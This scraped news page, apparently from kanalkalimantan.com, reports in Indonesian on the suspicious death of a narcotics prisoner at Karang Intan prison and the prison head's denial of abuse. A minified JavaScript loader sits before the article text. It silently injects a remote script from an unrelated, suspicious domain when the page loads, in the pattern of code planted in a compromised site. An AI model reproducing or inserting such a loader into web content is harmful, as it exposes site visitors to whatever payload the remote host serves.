(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Viral beredar foto seorang tahanan di Lembaga Pemasyarakatan Narkoba Kelas IIA, Karang Intan Kabupaten Banjar yang mayatnya dikembalikan ke keluarga dengan wajah bengkak hingga mengeluarkan darah di hidung.
Informasi yang didapat kanalkalimantan.com, narapidana ini bernama Andi Ridal Bakri (25) yang sebelumnya menyandang perkara Narkotika pasal 112 (1) UU RI No.35 Th 2009.
Keluarga yang menerima jasad almarhum curiga kematian yang bersangkutan tidak wajar alias ada dugaan penganiayaan. Jenazah Andi sebelumnya diantar ke kampung halamannya di Desa Rampa Lama, Kecamatan Pulau Laut Utara, Kabupaten Kotabaru, tanpa pengawalan. Termasuk biaya ongkos ambulance dibebankan kekeluarga almarhum.
Dikonfirmasi Kalapas Pemasyarakatan Narkoba Klas IIA karang Intan Kabupaten Banjar Supari, membantah bahwa Andi yang sebelumnya menjadi narapidana di tempat tersebut dipukuli hingga meninggal dunia.
“Almarhum itu bukan bonyok dipukuli akan tetapi jatuh karena sesak nafas,†akunya.
Lebih jauh Supari, Almarhum Andi sebelumnya memang sering mengeluhkan telah menderita penyakit asma. Bahkan dokter dari puskesmas Karang Intan rutin melakukan pengobatan dan mendatangi langsung ke lapas karang Intan tersebut.
“Sudah sering kita lakukan pengobatan terhadap almarhum ini. Napi ini sebenarnya merupakan pindahan dari Kotabaru dan diobati dokter dari puskesmas Karang intan sudah rutin,†terangnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.